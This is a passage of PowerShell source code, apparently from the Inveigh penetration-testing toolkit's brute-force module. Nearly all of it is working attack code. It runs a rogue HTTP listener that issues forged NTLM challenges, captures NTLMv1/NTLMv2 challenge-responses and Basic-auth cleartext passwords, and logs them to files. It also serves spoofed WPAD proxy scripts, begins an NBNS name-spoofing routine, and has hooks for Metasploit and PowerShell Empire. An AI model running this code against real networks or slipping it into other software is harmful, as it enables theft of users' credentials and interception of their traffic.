[System.Net.IPAddress]$_})][String]$HTTPIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferTarget="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$WPADDirectHosts="", - [parameter(Mandatory=$false)][Int]$HTTPPort="80", - [parameter(Mandatory=$false)][Int]$NBNSPause="", - [parameter(Mandatory=$false)][Int]$NBNSTTL="165", - [parameter(Mandatory=$false)][Int]$WPADPort="", - [parameter(Mandatory=$false)][Int]$RunCount="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$false)][String]$HTTPBasicRealm="IIS", - [parameter(Mandatory=$false)][String]$HTTPResponse="", - [parameter(Mandatory=$false)][String]$WPADResponse="", - [parameter(Mandatory=$false)][String]$Hostname = "WPAD", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(!$SpooferIP) -{ - $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -if($NBNS -eq 'Y' -and !$SpooferTarget) -{ - throw "You must specify a -SpooferTarget if enabling -NBNS" -} - -if($WPADIP -or $WPADPort) -{ - - if(!$WPADIP) - { - throw "You must specify a -WPADPort to go with -WPADIP" - } - - if(!$WPADPort) - { - throw "You must specify a -WPADIP to go with -WPADPort" - } - -} - -if(!$OutputDir) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $OutputDir -} - -if(!$inveigh) -{ - $global:inveigh = [HashTable]::Synchronized(@{}) - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList -} - -if($inveigh.bruteforce_running) -{ - throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh" -} - -$inveigh.console_queue = New-Object System.Collections.ArrayList -$inveigh.status_queue = New-Object System.Collections.ArrayList -$inveigh.log_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList -$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList -$inveigh.console_output = $false -$inveigh.console_input = $true -$inveigh.file_output = $false -$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" -$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" -$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" -$inveigh.challenge = $Challenge -$inveigh.hostname_spoof = $false -$inveigh.bruteforce_running = $true - -if($StatusOutput -eq 'Y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'Y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Tool -eq 1) # Metasploit Interactive PowerShell -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" - $ShowHelp = "N" -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -$inveigh.status_queue.Add("Inveigh Brute Force started at $(Get-Date -format 's')") > $null -$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force started")]) > $null - -if($NBNS -eq 'Y') -{ - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $SpooferTarget") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $Hostname") > $null - - if($NBNSPause) - { - $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSPause Seconds") > $null - } - - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null -} -else -{ - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Disabled") > $null -} - -if($HTTP -eq 'Y') -{ - - if($HTTPIP) - { - $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null - } - - if($HTTPPort -ne 80) - { - $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null - } - - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null - $inveigh.status_queue.Add("HTTP Authentication = $HTTPAuth") > $null - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - - if($HTTPResponse) - { - $inveigh.status_queue.Add("HTTP Custom Response Enabled") > $null - } - - if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') - { - $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null - } - - if($WPADIP -and $WPADPort) - { - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null - - if($WPADDirectHosts) - { - $inveigh.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null - } - - } - elseif($WPADResponse -and !$WPADIP -and !$WPADPort) - { - $inveigh.status_queue.Add("WPAD Custom Response Enabled") > $null - } - - if($Challenge) - { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null - } - - if($MachineAccounts -eq 'n') - { - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null - $inveigh.machine_accounts = $false - } - else - { - $inveigh.machine_accounts = $true - } - -} -else -{ - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null -} - -if($ConsoleOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null - $inveigh.console_output = $true -} -else -{ - - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null - } - -} - -if($FileOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true -} -else -{ - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null -} - -if($RunTime -eq 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null -} -elseif($RunTime -gt 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null -} - -if($RunCount) -{ - $inveigh.status_queue.Add("Run Count = $RunCount") > $null -} - -if($ShowHelp -eq 'Y') -{ - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop running Inveigh functions") > $null - - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - -} - -if($inveigh.status_output) -{ - - while($inveigh.status_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else - { - - switch ($inveigh.status_queue[0]) - { - - "Run Stop-Inveigh to stop running Inveigh functions" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - default - { - Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - } - - } - - } - -} - -# Begin ScriptBlocks - -# Shared Basic functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - function DataLength - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - function DataToString - { - param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract - } - - function HTTPListenerStop - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Attempting to stop HTTP listener") - $inveigh.HTTP_client.Close() - start-sleep -s 1 - $inveigh.HTTP_listener.server.blocking = $false - Start-Sleep -s 1 - $inveigh.HTTP_listener.server.Close() - Start-Sleep -s 1 - $inveigh.HTTP_listener.Stop() - } - -} - -# HTTP Server ScriptBlock - HTTP listener -$HTTP_scriptblock = -{ - param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) - - function NTLMChallengeBase64 - { - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - if($inveigh.challenge) - { - $HTTP_challenge = $inveigh.challenge - $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge - - return $NTLM - } - - $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # WWW-Authenticate - $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count - $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count - $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count - - if($WPADIP -and $WPADPort) - { - - if($WPADDirectHosts) - { - - foreach($WPAD_direct_host in $WPADDirectHosts) - { - $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' - } - - $HTTP_WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - } - else - { - $HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - } - - } - elseif($WPADResponse) - { - $HTTP_WPAD_response = $WPADResponse - } - - :HTTP_listener_loop while ($inveigh.bruteforce_running) - { - - $TCP_request = $NULL - $TCP_request_bytes = New-Object System.Byte[] 1024 - $suppress_waiting_message = $false - - while(!$inveigh.HTTP_listener.Pending() -and !$inveigh.HTTP_client.Connected) - { - - if(!$suppress_waiting_message) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Waiting for incoming HTTP connection") - $suppress_waiting_message = $true - } - - Start-Sleep -s 1 - - if(!$inveigh.bruteforce_running) - { - HTTPListenerStop - } - - } - - if(!$inveigh.HTTP_client.Connected) - { - $inveigh.HTTP_client = $inveigh.HTTP_listener.AcceptTcpClient() # will block here until connection - $HTTP_stream = $inveigh.HTTP_client.GetStream() - } - - while ($HTTP_stream.DataAvailable) - { - $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - } - - $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) - - if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") - { - $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) - $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) - - if($NBNSPause) - { - $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - $inveigh.hostname_spoof = $true - } - - } - - if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") - { - $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) - $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) - $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) - } - else - { - $authentication_header = '' - } - - if($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - } - else - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 - } - - $HTTP_type = "HTTP" - $NTLM = 'NTLM' - $NTLM_auth = $false - - if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $inveigh.HTTP_client.Client.Handle) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) - } - - if($authentication_header.startswith('NTLM ')) - { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $HTTP_response_status_code = 0x34,0x30,0x31 - - if ($HTTP_request_bytes[8] -eq 1) - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $NTLM = NTLMChallengeBase64 - } - elseif ($HTTP_request_bytes[8] -eq 3) - { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = '' - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_client_close = $true - $NTLM_challenge = '' - } - else # NTLMv2 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - } - - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $NTLM_auth = $true - $HTTP_client_close = $true - $NTLM_challenge = '' - } - else - { - $NTLM = 'NTLM' - } - - } - elseif($authentication_header.startswith('Basic ')) - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $authentication_header = $authentication_header -replace 'Basic ','' - $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) - $inveigh.cleartext_file_queue.Add($cleartext_credentials) - $inveigh.cleartext_list.Add($cleartext_credentials) - $inveigh.console_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - } - - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - - if((($WPADIP -and $WPADPort) -or $WPADResponse) -and $HTTP_request_raw_URL -match '/wpad.dat') - { - $HTTP_message = $HTTP_WPAD_response - } - elseif($HTTPResponse -and $HTTP_request_raw_URL -notmatch '/wpad.dat') - { - $HTTP_message = $HTTPResponse - } - else - { - $HTTP_message = '' - - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - - if(($HTTPAuth -eq 'NTLM' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) - { - $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a + - $HTTP_WWW_authenticate_header + - $NTLM + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - - } - elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) - { - $Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - $HTTP_client_close = $true - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a + - $HTTP_WWW_authenticate_header + - $Basic + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - - } - else - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - $HTTP_client_close = $true - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - } - - $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) - $HTTP_stream.Flush() - Start-Sleep -m 10 - $HTTP_request_raw_URL_old = $HTTP_request_raw_URL - $HTTP_client_handle_old = $inveigh.HTTP_client.Client.Handle - - if($HTTP_client_close) - { - $inveigh.HTTP_client.Close() - - if($RunCount -gt 0 -and ($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext)) - { - HTTPListenerStop - $inveigh.console_queue.Add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")]) - $inveigh.bruteforce_running = $false - } - - } - - $HTTP_client_close = $false - } - -} - -$spoofer_scriptblock = -{ - param ($SpooferIP,$Hostname,$SpooferTarget,$NBNSPause,$NBNSTTL) - - $Hostname = $Hostname.ToUpper() - - $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, - 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 - - 